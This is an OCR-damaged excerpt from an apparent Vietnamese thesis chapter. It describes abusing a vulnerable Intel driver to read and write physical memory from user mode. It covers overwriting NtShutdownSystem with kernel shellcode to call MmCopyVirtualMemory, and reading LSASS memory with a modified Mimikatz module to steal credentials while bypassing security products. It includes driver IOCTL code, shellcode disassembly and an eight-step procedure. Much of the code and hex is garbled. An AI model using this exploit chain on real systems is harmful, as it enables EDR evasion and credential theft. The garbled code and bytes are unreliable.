thác cho phiên bản 64-bit có thé dé dang tìm thấy trong các dự án mã nguồn mở, nhưng các tác giả lại không phát triển cho phiên bản 32-bit Do đó, chúng tôi đã dịch ngược cả

hai phiên bản, xây dựng cấu trúc cho dữ liệu đầu vào và làm cho code chạy tương thíchvới cả hai kiến trúc 32-bit và 64-bit

Cụ thẻ, lỗ hồng cho phép chúng tôi đã xây dựng ba chức năng đề ánh xạ bộ nhớ

physical sang địa chỉ bộ nhớ virtual (như Hình 5.), sao chép dữ liệu giữa hai vùng nhớ physical (như Hình 6.) và giải phóng ánh xạ bộ nhớ physical (như Hình 7.) thông qua

2 if (!DeviceToControl(hDevice, @x8@862997, &mapInfo, sizeo£(HapToSpaceBufferTnfo),

22 nullptr, @, &duBytesReturned, nullptr))

Trang 22

BOOL IqvwCopyMemory(DWORD_PTR nFromAddress, DHORD_PTR nToAddress, SIZE_T nSize)

a return DeviceToControl (hDevice, 0x808620@7, &copyInfo, sizeof (CopyMemoryBufferInfo) ,

2 nullptr, @, &duBytesReturned, nullptr);

23}

Hình 6 Sao chép dữ liệu giữa hai vùng nhớ physical

1 BOOL TqvwUnmapToSpace(DHORD_PTR nHappedAddress, DHORD nSize)

21 return DeviceToControl(hDevice, 0x8¢862007, &unmapInfo,

22 sizeof (UnmaploSpaceBufferInfo), nullptr, 9, &dwBytesReturned, nullptr);

23}

Hình 7 Giải phóng ánh xa của dia chi bộ nhớ physical

Việc kết hợp ba chức năng theo hai cách khác nhau đã giúp chúng tôi đọc và ghi bộ

nhớ physical từ ngữ cảnh người dùng Dé ghi vào một địa chỉ trên bộ nhớ physical (như

Hình 8.), chúng tôi ánh xạ dữ liệu từ bộ nhớ virtual đến một vùng tạm ở bộ nhớ physical;

Trang 23

Chương 3: Phương Pháp Đề Xuất

thực hiện sao chép từ địa chỉ tạm đến địa chỉ mong muốn; sau đó giải phóng vùng bộ

nhớ tạm vừa được cap.

1 BOOL ReadPhysicMemory(UINT64 nPhysicalAddress, PVOID nBufferAddress, DWORD nSize)

Hình 9 Ghi dữ liệu vào vùng nhớ physical

3.3.2 Cách gọi shellcode thực thi từ ngữ cảnh người dùng

Để có thể gọi shellcode thực thi từ ngữ cảnh người dùng, chúng tôi chọn cách ghi đè nội

dung một WinAPI có sẵn trên bộ nhớ, để từ đó có thể gọi đến shellcode ở ngữ cảnh kernel, và khôi phục lại khi đã đạt kết quả Chúng tôi chon NtShutdownSystem để ghi

dé vi hai lý do chính Thứ nhất, WinAPI này ít được sử dụng bởi phần mềm va hệ thống.

Thứ hai, chức năng này có thé gọi từ ngữ cảnh người dùng thông qua NTDLL, một thư

viện của Windows.

Trang 24

18 // TODO: find the maximum of Physical Memory

19 for (DWORD_PTR nPhysicalAddress = @; TRUE; nPhysicalAddress += SEARCH_PAGE_SIZE) {

29 if (IReadPhysicHemory (nPhysicalAddress, buffer.data(), buffer.size()))

2 continue;

22

23 SHORT nOffset = 0;

24 for (5 nOffset < 4096; nOffset++) {

25 if (memcmp((buffer.data() + nOffset), pSignatureBytes, SIGNATURE_SIZE) == 9)

Hình 10 Tìm vị trí của NtShutdownSystem trong bộ nhớ physical

Để tìm vị trí của hàm NtShutdownSystem trong bộ nhớ, chúng tôi lấy các byte đặc

trưng của nó thông qua việc nạp nó lên bộ nhớ Bằng cách nạp cả thư viện ntoskrnl.exe vào bộ nhớ thông qua WinAPI LoadLibrary, chúng tôi dễ dàng lấy được các byte đặc

trưng với WinAPI GetProcAddress Sau đó, chúng tôi bắt đầu tìm từ vị trí 0 của bộ nhớ

physical Mã giả của thuật toán được trình bày trong Hình 10.

Sau khi tìm được địa chỉ của hàm, chúng tôi sẽ ghi nhớ lại đê ghi đè với các shellcode

sau đó Kỹ thuật ghi dữ liệu đã được mô tả ở phan 3.3.1.

Trang 25

Chương 3: Phương Pháp Đề Xuất

3.3.3 Phát triển shellcode đọc bộ nhớ của tiến trình

Đề đọc được bộ nhớ của tiến trình chạy trong ngữ cảnh người dùng từ ngữ cảnh kernel,

chúng tôi sử dụng hai hàm PsLookupProcessByProcessId và MmCopyVirtualMemory.

Trong đó, MmCopyVirtualMemory là hàm không có trong tài liệu chính thức của

Microsoft Chúng tôi đã phát triển tổng cộng bốn shellcode bằng ngôn ngữ Assembly dégọi hai hàm trong cả hai kiến trúc 32-bit và 64-bit

Shellcode được phát triển sẽ chứa sẵn các tham sé, còn địa chỉ WinAPI sẽ được

truyền vào theo tham số thứ nhất Phức tạp nhất là việc phát triển phiên bản shellcode 64-bit, chúng tôi phải truyền bốn tham số đầu tiên vào các thanh ghi RCX, RDX, R8 và R9, trong khi tham số thứ năm được lưu trữ trên vùng nhớ stack (như Hình 11 và 12).

0: 48 83 ec 48 sub rsp, 0x48

4: 48 8b c1 mov rax,rcx

7: 48 c7 44 24 50 09 09 mov QWORD PTR [rsp+0x50], 0x0 e: 00 00

59: ff do call rax Sb: 48 8b 44 24 50 mov pax, QWORD PTR [rsp+0x50]

60: 48 83 c4 48 add rsp,0x48

64: c3 ret

Hình 11 Shellcode 64-bit hỗ trợ gọi MmCopyVirtualMemory

Trang 26

48 9Ø 48 ff 48 48 3

83 8b c7

00

b9

90

8d do

8b 83

44 c4

8b

ff 8b

90 83 89

98

f8 20

pop ret

edi,edi ebp

ebp,esp

esp, 0x20

DWORD PTR [ebp-0x4],0x0 DWORD PTR [ebp-0x8],0x0 DWORD PTR [ebp-Oxc], 0x0

esp, 0x20 esp,ebp

ebp

Trang 27

Chương 3: Phương Pháp Đề Xuất

13: 50

14: ff 75 fc 17: 8b 45 08

da: ff do

1c: 8b 45 f8 1f: 90

20: 83 c4 20 23: 89 ec 25: 5d 26: c3

push

mov

call

mov nop add

Hình 14 Shellcode 32-bit hỗ trợ gọi PsLookupProcessByProcessld

3.3.4 Kết hợp các kỹ thuật để gọi shellcode

Chúng tôi sử dụng một cách sử dụng chung cho nhiều mã shellcode khác nhau dé đảm

bảo hệ thống luôn được khôi phục sau khi hàm được thực thi Cách sử dụng này bao gồm

tám bước (ví dụ, cách gọi WinAPI MmCopyVirtualMemory ở Hình 15):

1.

enn APF YN

Thay thé các byte tham số trong shellcode bằng các tham số thực.

Lấy địa chi physical của NtShutdownSystem trong ntoskrnl.exe dé ghi đè.

Lay địa chi virtual của NtShutdownSystem trong ntdll.dll để chuẩn bi gọi.

Lấy và lưu trữ địa chỉ physical của WinAPI sẽ được sử dụng

Đọc và lưu trữ các byte gốc của NtShutdownSystem đề khôi phục

Ghi shellcode vào địa chỉ physical của NtShutdownSystem.

Truyền tham số (physical của WinAPI ở bước 4) và ép kiểu để thực thi shellco de.

Khôi phục các byte gốc của NtShutdownSystem

Trang 28

{ memcpy(helperBytes.data() + 12, &pFromProcess, sizeof(PEPROCESS));

memcpy(helperBytes.data() + 19, &pFromAddress, sizeof(PVOID));

memcpy(helperBytes.data() + 26, &pToProcess, sizeof(PEPROCESS));

memepy(helperBytes.data() + 33, &pToAddress, sizeof(PVOID));

mencpy(helperBytes.data() + 40, &nBufferSize, sizeof(SIZE_T));

if (!ReadPhysicMemory (nOverwriteFuncPhysicalAddress, orgBytes.data(), orgBytes.size()))

Hình 15 Cách sử dung shellcode để gọi WinAPI MmCopyVirtualMemory

3.3.4 Đọc bộ nhớ tiến trình LSASS và trích xuất thông tin đăng nhập

Mục tiêu chính của chúng tôi là bypass các sản phẩm bảo mật và đọc bộ nhớ của tiến trình LSASS Chúng tôi đã tận dụng mã nguồn của Mimikatz dé phân tích thông tin đăng nhập nhằm tiết kiệm thời gian và tài nguyên Chúng tôi đã phát triển một hàm hoạt động giống như ReadProcessMemory WinAPI và tùy chỉnh module kull_m_memory sử dụng

hàm này.

Ngày đăng: 08/11/2024, 17:39

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN